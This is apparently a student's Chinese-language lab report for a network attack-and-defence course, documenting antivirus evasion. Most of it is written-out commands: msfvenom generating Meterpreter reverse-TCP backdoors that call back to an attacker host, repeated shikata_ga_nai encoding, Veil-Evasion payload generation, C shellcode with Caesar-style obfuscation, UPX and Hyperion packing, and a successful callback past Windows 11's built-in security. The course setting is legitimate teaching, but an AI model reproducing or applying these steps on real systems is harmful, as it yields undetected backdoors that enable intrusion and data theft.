20222406 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 实践内容
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 回答问题
- 杀软是如何检测出恶意代码的?
- 基于特征码检测
- 基于启发式检测
- 基于行为的检测
- 基于机器学习的检测
-
免杀是做什么?
免杀是一种能使病毒木马免于被杀毒软件查杀的技术。其主要目的是让恶意代码或黑客工具能够在目标系统上运行而不被安全软件发现和阻止,以便黑客能够实现攻击、窃取信息等恶意行为。
-
免杀的基本方法有哪些?
- 改变特征码
如加壳,修改代码,编码转换 - 改变程序行为
如反弹式连接,使用隧道技术,加密通讯数据 - 利用漏洞
- 修改文件属性
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
输入msfvenom --list formats
查看msfvenom支持的所有输出格式:
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f exe > 20222406.exe
生成payload(此处使用kali的IP地址):
将文件拖入桌面,使用 - Virustatol进行检测:
输入msfvenom --list encoders
查看msfvenom支持的所有编码方式:
输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.137.128 LPORT=2406 -f exe > 20222406_1.exe
使用编码器对payload进行编码:
输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.137.128 LPORT=2406 -f exe > 20222406_2.exe
多次编码(-i 10表示编码10次):
输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f jar > 20222406_3.jar
选择一个适用于Java环境的payload来生成jar文件:
输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -e x86/shikata_ga_nai -i 10 -f jar > 20222406_4.jar
使用编码器对payload进行编码:
输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f elf > 20222406_5.elf
生成一个反向TCP连接的Linux elf可执行文件:
输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -e x86/shikata_ga_nai -i 10 -f elf > 20222406_6.elf
使用编码器对payload进行编码:
2.1.2 使用veil工具加壳工具
依次输入以下命令,安装veil:
mkdir -p ~/.cache/wine
,
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
:
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
:
sudo apt-get install libncurses5*
:
sudo apt-get install libavutil55*
:
sudo apt-get install gcc-mingw-w64*
:
sudo apt-get install wine32
:
此时出现报错,分别输入dpkg --add-architecture i386
,sudo apt-get update
,sudo apt-get install wine32
:
再依次输入:
apt-get install veil
:
cd /usr/share/veil/config/
,
vim setup.sh
,翻到图示位置:
按i
进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git
,按ESC键,输入:wq退出。
输入veil
进行安装,过程中需要安装多个程序,一路默认安装:
发现报错,输入sudo /usr/share/veil/config/setup.sh --force --silent
继续安装:
输入veil
:
输入use evasion
,进入Evil—Evasion:
输入list
,查看可使用的payload类型:
输入use 7
使用c/meterpretermrev_tcp.py:
依次输入:
set LHOST 192.168.137.128
,
set LPORT 2406
,
generate
:
输入生成的文件名称:20222406_veil
:
输入exit
退出后输入cd /var/lib/veil/output/compiled/
,进入文件夹,输入ls
查看生成的.exe可执行文件:
使用VirusTotal进行检测:
2.1.3 使用C + shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f c
(其中LHOST为Kali的IP地址):
输入touch 20222406.c
和vim 20222406.c
新建文件,并进行编辑,
按i
将使用msfvenom生成的buf[]数组复制粘贴到打开的文件中,并输入C语言代码:
输入i686-w64-mingw32-g++ 20222406.c -o 20222406.exe
和ls
:
使用VirusTotal进行检测:
2.1.4 加壳工具
输入upx 20222406.exe -o upx20222406.exe
进行upx加壳:
输入cp upx20222406.exe /usr/share/windows-resources/hyperion
进行hyperion加壳:;
输入cd /usr/share/windows-resources/hyperion
进入文件夹;
输入ls
查看生成的可执行文件:
输入wine hyperion.exe -v upx20222406.exe upx20222406_1.exe
:
对两个exe文件使用VirusTotal进行检测:
2.2 通过组合应用各种技术实现恶意代码免杀
2.2.1 msfvenom多次编码+压缩加壳
输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.137.128 LPORT=2406 -f exe >20222406_4.exe
:
再输入upx 20222406_7.exe -o upx20222406_2.exe
利用多次编码方式生成后门软件并进行加壳处理:
上传至VirusTotal检测:
2.2.2 C+shellcode编码+异或处理
输入msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f c
通过msfvenom生成Shellcode数组:
输入touch 20222406_8.c
新建文件和vim 20222406_8.c
输入代码:
代码功能为将复制内容放入shellcode1[]数组中,通过代码将shellcode1进行凯撒加密,
并在同文件夹下新建空文件20222406_9.txt:
输入gcc 20222406_8.c -o 20222406_8.exe
和./20222406_8.exe
:
此时密文已经输入到其中了:
将密文替换入程序中,修改代码:
接下来进行检测:
此时可见,效果已经大大改善。
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.137.128 LPORT=2406 -f raw >20222406.raw
:
将生成的文件20222406.raw拖入windows中:
此处我使用的是win11自带的Windows安全中心。
此时参照实验二的步骤,分别输入msfconsole
进入控制台:
再依次输入
use exploit/multi/handler
配置监听模块,
set payload windows/meterpreter/reverse_tcp
使用和生成后门程序时相同的payload,
set LHOST 192.168.137.128
使用kali的IP,需要和之前生成后门程序时设置的IP相同,
set LPORT 2406
设置端口,需要和之前生成后门程序时设置的端口相同:
通过链接安装 - shellcode_launcher:
在win的命令行中输入.\shellcode_launcher.exe -i 20222406.raw
来启动文件:
接下来在kali中继续输入exploit
:
此时输入ls
出现目录,这说明我们的病毒侵入成功:
3.问题及解决方案
- 问题1:在2.1.2处输入
sudo apt-get install wine32
会报错 - 问题1解决方案:分别输入
dpkg --add-architecture i386
,sudo apt-get update
,sudo apt-get install wine32
4.学习感悟、思考等
在本次实验中,我初步了解了恶意代码免杀技术的复杂性与多样性。通过使用各种工具和技巧,如msf编码器、veil-evasion、shellcode编程等,切实体会到了网络攻防技术的博弈性。
同时,也认识到杀毒软件在不断升级检测手段,而恶意代码的免杀方法也在不断演进。这让我深刻理解到个人PC和企业电脑要加装更加高级的防病毒系统的重要性。